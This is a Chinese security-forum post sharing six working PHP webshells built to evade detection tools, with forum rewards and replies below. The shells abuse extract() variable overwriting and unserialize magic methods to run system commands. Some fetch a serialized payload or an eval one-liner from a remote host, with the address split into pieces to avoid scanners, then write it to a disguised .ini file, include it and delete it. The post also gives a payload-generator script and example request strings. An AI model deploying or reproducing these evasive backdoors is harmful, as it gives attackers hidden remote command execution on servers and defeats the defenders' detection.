[限时投稿]-分享几个对webshell免杀思考的拙文

spider   ·   发表于 2022-01-27 10:59:18   ·   技术文章

前言:网上的免杀思路有不少,不过大部分是基于混淆和加密的,我这里分享两个基于匿名函数、变量覆盖和反序列化的webshell思路,思路来源于深信服EDR的RCE漏洞。

ps:远程获取的时候,其实也可以用fopen读取远程文件,更加方便点,但是感觉这个函数貌似比较常用,可能会被一些waf或者查杀工具查到,所以用到了远程获取的地方,分别使用了fopen函数和curl进行。

先把webshell列出来,有下面几位选手:

① extract_webshell

  1. <?php
  2. if($_GET['exec']==="0"){
  3. exit;
  4. }else if($_GET['exec']==="1"){
  5. call_user_func(function() {
  6. $cmd = function($params){
  7. extract($params);
  8. $a($b);
  9. };
  10. $cmd($_REQUEST);
  11. });
  12. }

一号选手解析:

这个思路是深信服EDR变量覆盖导致RCE的漏洞,extract函数注册了数组中的键为变量名,值为变量的值,这里接收$_REQUEST,然后利用变量函数执行$a($b),所以只要传参数exec=1&a=system&b=whoami,即可执行,等同于system(whoami)

② unserialize_extract_webshell

  1. <?php
  2. class test{
  3. public $id = array('a'=>'1','b'=>'2');
  4. function __wakeup(){
  5. echo $this;
  6. }
  7. function __toString(){
  8. call_user_func(function() {
  9. $cmd = function($params){
  10. extract($params);
  11. $a($b);
  12. };
  13. $cmd($this->id);
  14. });
  15. }
  16. };
  17. if($_GET['exec']==="0"){
  18. exit;
  19. }else if($_GET['exec']==="1"){
  20. $test1 = $_GET['string'];
  21. $test2 = unserialize($test1);
  22. }

二号选手解析:

二号是基于一号选手思路的一个升级,利用反序列化来传参数,执行命令的逻辑也比一号要复杂一点,反序列化之后会自动调用wakeup函数,然后echo $this,会调用toString函数,然后的流程就和一号选手一样了,最终我们需要传递的参数就是exec=1&string=O:4:”test”:1:{s:2:”id”;a:2:{s:1:”a”;s:6:”system”;s:1:”b”;s:6:”whoami”;}}

③ unserialize_extract_remote_webshell_fopen

  1. <?php
  2. class test{
  3. public $id = array('a'=>'1','b'=>'2');
  4. function __wakeup(){
  5. echo $this;
  6. exit;
  7. }
  8. function __toString(){
  9. call_user_func(function() {
  10. $cmd = function($params){
  11. extract($params);
  12. $a($b);
  13. };
  14. $cmd($this->id);
  15. });
  16. }
  17. };
  18. if($_GET['exec']==="0"){
  19. exit;
  20. }else if($_GET['exec']==="1"){
  21. $shell_addr_1="127.0";
  22. $shell_addr_2=".0.1";
  23. $shell_addr_3="shell.txt";
  24. $file_handle = fopen("http://".$shell_addr_1.$shell_addr_2."/".$shell_addr_3,"r");
  25. $shell = fgets($file_handle);
  26. $test2 = unserialize($shell);
  27. }
  28. ③.2 unserialize_extract_remote_webshell_curl
  29. <?php
  30. class test{
  31. public $id = array('a'=>'1','b'=>'2');
  32. function __wakeup(){
  33. echo $this;
  34. exit;
  35. }
  36. function __toString(){
  37. call_user_func(function() {
  38. $cmd = function($params){
  39. extract($params);
  40. $a($b);
  41. };
  42. $cmd($this->id);
  43. });
  44. }
  45. };
  46. if($_GET['exec']==="0"){
  47. exit;
  48. }else if($_GET['exec']==="1"){
  49. $ch = curl_init();
  50. $timeout = 5;
  51. $shell_addr_1="127.0";
  52. $shell_addr_2=".0.1";
  53. $shell_addr_3="shell.txt";
  54. curl_setopt ($ch, CURLOPT_URL, $shell_addr_1.$shell_addr_2."/".$shell_addr_3);
  55. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  56. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  57. $test1 = curl_exec($ch);
  58. curl_close($ch);
  59. $test2 = unserialize($test1);
  60. }

三号选手解析:

三号是基于二号选手思路的一个升级,反序列化的数据是从网络上远程获取的,也就相当于命令获取到payload,然后再反序列化执行,只需要在我们的远程web服务器上放上我们的payload,payload也和二号选手一样,即把O:4:”test”:1:{s:2:”id”;a:2:{s:1:”a”;s:6:”system”;s:1:”b”;s:6:”whoami”;}}放到服务器上,我本地测试就放到了web根目录的shell.txt上

④ include_shell_fopen

  1. <?php
  2. if($_GET['exec']==="0"){
  3. exit;
  4. }else if($_GET['exec']==="1"){
  5. $shell_addr_1="127.0";
  6. $shell_addr_2=".0.1";
  7. $shell_addr_3="eval.txt";
  8. $file_handle = fopen("http://".$shell_addr_1.$shell_addr_2."/".$shell_addr_3,"r");
  9. $shellcode = fgets($file_handle);
  10. file_put_contents("conf_bak.ini",$shellcode);
  11. include("conf_bak.ini");
  12. unlink("conf_bak.ini");
  13. }

④.2 include_shell_curl

  1. <?php
  2. if($_GET['exec']==="0"){
  3. exit;
  4. }else if($_GET['exec']==="1"){
  5. $ch = curl_init();
  6. $timeout = 5;
  7. $shell_addr_1="127.0";
  8. $shell_addr_2=".0.1";
  9. $shell_addr_3="eval.txt";
  10. curl_setopt ($ch, CURLOPT_URL, $shell_addr_1.$shell_addr_2."/".$shell_addr_3);
  11. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  12. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  13. $shellcode = curl_exec($ch);
  14. curl_close($ch);
  15. file_put_contents("conf_bak.ini",$shellcode);
  16. include("conf_bak.ini");
  17. unlink("conf_bak.ini");
  18. }

用到反序列化的生成序列化payload的脚本:

  1. serialize_shellcode_creater
  2. <?php
  3. class test{
  4. public $id;
  5. };
  6. $test1 = new test();
  7. $test1->id["a"] = "system";
  8. $test1->id["b"] = "whoami";
  9. print(serialize($test1));

四号选手解析:

四号选手是基于文件包含的思路,而php的远程包含默认是不开启的,所以利用远程获取之后,创建文件进行包含,再把文件删除,文件是会存在一下,然后马上删除。同理,也要把普通的一句话木马放在远程服务器上,我本地测试就把<?php @eval($_GET[“cmd”]);?>放到本地web根目录的eval.txt,最终payload就是exec=1&cmd=system(“whoami”);

1:extract_webshell

2:unserialize_extract_webshell

3:unserialize_extract_remote_webshell_fopen

3.2:unserialize_extract_remote_webshell_curl

4:include_shell_fopen

4.2:include_shell_curl

免杀表现:过√,不过×(最新版本)

后面这几个貌似主要是检测病毒的,检测webshell也只能检测出来比较常见的

基本上市面上的检测工具和网站大部分都能过,原本我写这些是为了试一下能不能过阿里的伏魔赏金计划,但是最终是失败了。

能过阿里伏魔引擎的老哥,如果可以的话能够分享下思路感激不尽!!!可以跟俺讨论讨论!

用户名金币积分时间理由
奖励系统 50.00 0 2022-03-26 14:02:01 投稿满 5 赞奖励
xiao_yi 50.00 0 2022-01-29 11:11:40 大佬,学习了
Track-劲夫 100.00 0 2022-01-27 15:03:12 活动奖励
Track-劲夫 200.00 0 2022-01-27 15:03:06 一个受益终生的帖子~~

打赏我,让我更有动力~

2 条回复   |  直到 2022-2-10 | 1083 次浏览

spider
发表于 2022-1-27

如需转载请与我联系

评论列表

  • 加载数据中...

编写评论内容

小熊保安
发表于 2022-2-10

给大佬跪下

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.